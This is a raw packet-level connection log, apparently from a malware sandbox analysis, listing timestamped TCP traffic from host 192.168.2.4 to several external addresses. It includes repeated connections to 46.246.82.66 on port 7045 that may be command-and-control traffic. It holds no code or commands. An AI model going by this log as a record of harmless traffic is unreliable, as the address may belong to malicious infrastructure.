Dec 17, 2024 03:53:17.461786985 CET	443	50014	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:17.742757082 CET	443	50006	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:17.742860079 CET	50006	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:17.743844986 CET	50006	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:17.743860960 CET	443	50006	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:17.743942976 CET	50006	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:17.744107962 CET	443	50006	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:17.744167089 CET	50006	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:17.744955063 CET	50015	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:17.744991064 CET	443	50015	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:17.745062113 CET	50015	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:17.745558023 CET	50015	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:17.745569944 CET	443	50015	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:17.941224098 CET	443	50012	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:17.941369057 CET	50012	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.942430973 CET	50012	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.942430973 CET	50012	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.942461014 CET	443	50012	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:17.942639112 CET	443	50012	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:17.942759991 CET	50012	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.943284035 CET	50016	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.943412066 CET	443	50016	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:17.943495989 CET	50016	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.943923950 CET	50016	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.943958044 CET	443	50016	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:18.430417061 CET	443	50013	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:18.430597067 CET	50013	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.431610107 CET	50013	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.431627035 CET	443	50013	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:18.431751966 CET	50013	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.432189941 CET	443	50013	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:18.432265043 CET	50013	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.432961941 CET	50017	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.433058023 CET	443	50017	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:18.433337927 CET	50017	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.433654070 CET	50017	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.433701992 CET	443	50017	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:18.676498890 CET	443	50014	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:18.676749945 CET	50014	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.677804947 CET	50014	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.677804947 CET	50014	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.677862883 CET	443	50014	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:18.678071022 CET	443	50014	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:18.678128004 CET	50014	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.678801060 CET	50022	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.678891897 CET	443	50022	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:18.679022074 CET	50022	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.679617882 CET	50022	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:18.679701090 CET	443	50022	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.155956030 CET	443	50015	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:19.156045914 CET	50015	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:19.157084942 CET	50015	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:19.157084942 CET	50015	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:19.157111883 CET	443	50015	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:19.157411098 CET	443	50015	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:19.157455921 CET	50015	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:19.157926083 CET	50024	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:19.157984018 CET	443	50024	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:19.158071041 CET	50024	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:19.158533096 CET	50024	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:19.158554077 CET	443	50024	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:19.487066984 CET	443	50016	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.487154007 CET	50016	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.488056898 CET	50016	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.488090038 CET	443	50016	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.488220930 CET	50016	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.488334894 CET	443	50016	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.488388062 CET	50016	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.489378929 CET	50025	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.489471912 CET	443	50025	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.489559889 CET	50025	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.490211010 CET	50025	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.490248919 CET	443	50025	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.668762922 CET	50026	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:19.788831949 CET	7045	50026	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:19.788940907 CET	50026	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:19.789160013 CET	50026	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:19.886811972 CET	443	50022	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.887001991 CET	50022	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.887867928 CET	50022	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.887932062 CET	443	50022	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.887989044 CET	50022	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.888129950 CET	443	50022	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.888186932 CET	50022	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.888672113 CET	50027	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.888732910 CET	443	50027	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.888803959 CET	50027	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.889195919 CET	50027	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.889219046 CET	443	50027	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.909069061 CET	7045	50026	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:19.970714092 CET	443	50017	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.970874071 CET	50017	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.971910000 CET	50017	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.971930027 CET	443	50017	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.972002983 CET	50017	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.972564936 CET	443	50017	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.972810030 CET	50028	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.972831964 CET	50017	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.972861052 CET	443	50028	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:19.976068020 CET	50028	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.976311922 CET	50028	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:19.976339102 CET	443	50028	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:20.558593035 CET	443	50024	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:20.558804035 CET	50024	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:20.559539080 CET	50024	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:20.559591055 CET	443	50024	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:20.559643984 CET	50024	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:20.559886932 CET	443	50024	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:20.560307026 CET	50029	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:20.560331106 CET	50024	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:20.560340881 CET	443	50029	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:20.560415030 CET	50029	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:20.560767889 CET	50029	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:20.560780048 CET	443	50029	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:20.698307991 CET	443	50025	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:20.698411942 CET	50025	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:20.699357033 CET	50025	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:20.699387074 CET	443	50025	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:20.699439049 CET	50025	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:20.699573994 CET	443	50025	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:20.699925900 CET	50025	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:20.700500011 CET	50030	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:20.700555086 CET	443	50030	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:20.700762987 CET	50030	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:20.701153040 CET	50030	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:20.701195955 CET	443	50030	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.102777958 CET	443	50027	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.103032112 CET	50027	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.103952885 CET	50027	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.103954077 CET	50027	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.104011059 CET	443	50027	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.104207039 CET	443	50027	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.104392052 CET	50027	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.104706049 CET	50036	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.104748964 CET	443	50036	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.104808092 CET	50036	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.105211020 CET	50036	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.105226040 CET	443	50036	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.185522079 CET	443	50028	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.185703039 CET	50028	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.186456919 CET	50028	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.186485052 CET	443	50028	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.186676025 CET	443	50028	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.186733961 CET	50028	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.186733961 CET	50028	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.186764956 CET	443	50028	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.187380075 CET	50037	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.187433004 CET	443	50037	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.187508106 CET	50037	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.187896013 CET	50037	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.187915087 CET	443	50037	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.928914070 CET	443	50030	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.929158926 CET	50030	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.930005074 CET	50030	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.930035114 CET	443	50030	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.930149078 CET	50030	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.930185080 CET	443	50030	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.930238008 CET	50030	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.931020021 CET	50038	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.931051970 CET	443	50038	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.931113005 CET	50038	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.931710005 CET	50038	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:21.931719065 CET	443	50038	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:21.941886902 CET	443	50029	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:21.941999912 CET	50029	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:21.942701101 CET	50029	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:21.942708015 CET	443	50029	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:21.942812920 CET	50029	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:21.942889929 CET	443	50029	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:21.942939043 CET	50029	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:21.943559885 CET	50039	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:21.943578005 CET	443	50039	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:21.943639994 CET	50039	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:21.943952084 CET	50039	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:21.943969011 CET	443	50039	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:22.295423031 CET	50040	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:22.315809011 CET	443	50036	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:22.315884113 CET	50036	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.317401886 CET	50036	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.317411900 CET	443	50036	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:22.317502975 CET	50036	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.317646980 CET	443	50036	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:22.317694902 CET	50036	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.318232059 CET	50041	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.318325996 CET	443	50041	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:22.318403959 CET	50041	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.318926096 CET	50041	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.318962097 CET	443	50041	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:22.415637016 CET	7045	50040	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:22.415812016 CET	50040	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:22.416100979 CET	50040	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:22.535809994 CET	7045	50040	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:22.719826937 CET	443	50037	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:22.720029116 CET	50037	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.721019030 CET	50037	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.721070051 CET	443	50037	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:22.721131086 CET	50037	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.721676111 CET	443	50037	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:22.721745968 CET	50037	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.722107887 CET	50042	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.722158909 CET	443	50042	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:22.722234964 CET	50042	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.722697973 CET	50042	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:22.722718000 CET	443	50042	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:23.137790918 CET	443	50038	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:23.137903929 CET	50038	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.138807058 CET	50038	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.138812065 CET	443	50038	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:23.138947010 CET	50038	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.138971090 CET	443	50038	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:23.139013052 CET	50038	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.140048027 CET	50047	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.140139103 CET	443	50047	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:23.140233994 CET	50047	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.140656948 CET	50047	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.140697002 CET	443	50047	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:23.323873043 CET	443	50039	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:23.323966026 CET	50039	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:23.324853897 CET	50039	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:23.324867964 CET	443	50039	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:23.324950933 CET	50039	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:23.325217962 CET	443	50039	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:23.325273991 CET	50039	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:23.325787067 CET	50049	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:23.325834036 CET	443	50049	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:23.325907946 CET	50049	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:23.326313019 CET	50049	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:23.326334000 CET	443	50049	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:23.526026964 CET	443	50041	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:23.526145935 CET	50041	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.526987076 CET	50041	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.527019024 CET	443	50041	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:23.527065992 CET	50041	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.527204037 CET	443	50041	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:23.527257919 CET	50041	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.527971983 CET	50050	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.528014898 CET	443	50050	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:23.528084993 CET	50050	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.528475046 CET	50050	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:23.528492928 CET	443	50050	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.307687998 CET	443	50042	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.307782888 CET	50042	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.308568954 CET	50042	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.308584929 CET	443	50042	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.308657885 CET	50042	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.309315920 CET	50051	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.309408903 CET	443	50051	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.309506893 CET	50051	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.309709072 CET	443	50042	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.309812069 CET	50042	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.309881926 CET	50051	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.309912920 CET	443	50051	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.346445084 CET	443	50047	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.346698999 CET	50047	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.347368956 CET	50047	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.347368956 CET	50047	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.347428083 CET	443	50047	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.347588062 CET	443	50047	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.347743988 CET	50047	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.348000050 CET	50052	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.348054886 CET	443	50052	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.348128080 CET	50052	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.348464012 CET	50052	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:24.348490000 CET	443	50052	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:24.553741932 CET	7045	50040	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:24.553944111 CET	50040	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:24.553945065 CET	50040	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:24.633050919 CET	7045	50026	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:24.633136034 CET	50026	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:24.633217096 CET	50026	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:24.673968077 CET	7045	50040	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:24.709209919 CET	443	50049	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:24.709448099 CET	50049	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:24.710400105 CET	50049	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:24.710400105 CET	50049	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:24.710458040 CET	443	50049	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:24.711081028 CET	50053	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:24.711128950 CET	443	50049	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:24.711132050 CET	443	50053	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:24.711195946 CET	50049	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:24.711231947 CET	50053	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:24.711792946 CET	50053	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:24.711819887 CET	443	50053	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:24.755379915 CET	7045	50026	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:25.055592060 CET	443	50050	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.055735111 CET	50050	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.056521893 CET	50050	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.056551933 CET	443	50050	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.056617022 CET	50050	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.057086945 CET	443	50050	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.057161093 CET	50050	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.057322979 CET	50054	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.057374001 CET	443	50054	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.057451010 CET	50054	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.057806969 CET	50054	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.057833910 CET	443	50054	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.519263983 CET	443	50051	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.519391060 CET	50051	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.520332098 CET	50051	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.520364046 CET	443	50051	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.520453930 CET	50051	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.520737886 CET	443	50051	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.520804882 CET	50051	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.521373987 CET	50060	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.521401882 CET	443	50060	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.521476030 CET	50060	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.521895885 CET	50060	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.521907091 CET	443	50060	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.559693098 CET	443	50052	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.559788942 CET	50052	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.560440063 CET	50052	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.560455084 CET	443	50052	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.560550928 CET	50052	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.560791016 CET	443	50052	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.560848951 CET	50052	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.561336994 CET	50061	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.561425924 CET	443	50061	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:25.561508894 CET	50061	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.561805964 CET	50061	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:25.561846018 CET	443	50061	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.264007092 CET	443	50054	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.264092922 CET	50054	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.264955997 CET	50054	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.264971972 CET	443	50054	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.265096903 CET	50054	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.265105009 CET	443	50054	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.265115023 CET	443	50054	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.265894890 CET	50062	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.265923977 CET	443	50062	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.265990973 CET	50062	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.266374111 CET	50062	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.266381025 CET	443	50062	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.294214010 CET	443	50053	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:26.294310093 CET	50053	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:26.295057058 CET	50053	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:26.295069933 CET	443	50053	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:26.295175076 CET	50053	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:26.295515060 CET	443	50053	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:26.295572042 CET	50053	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:26.295908928 CET	50063	443	192.168.2.4	140.82.121.3
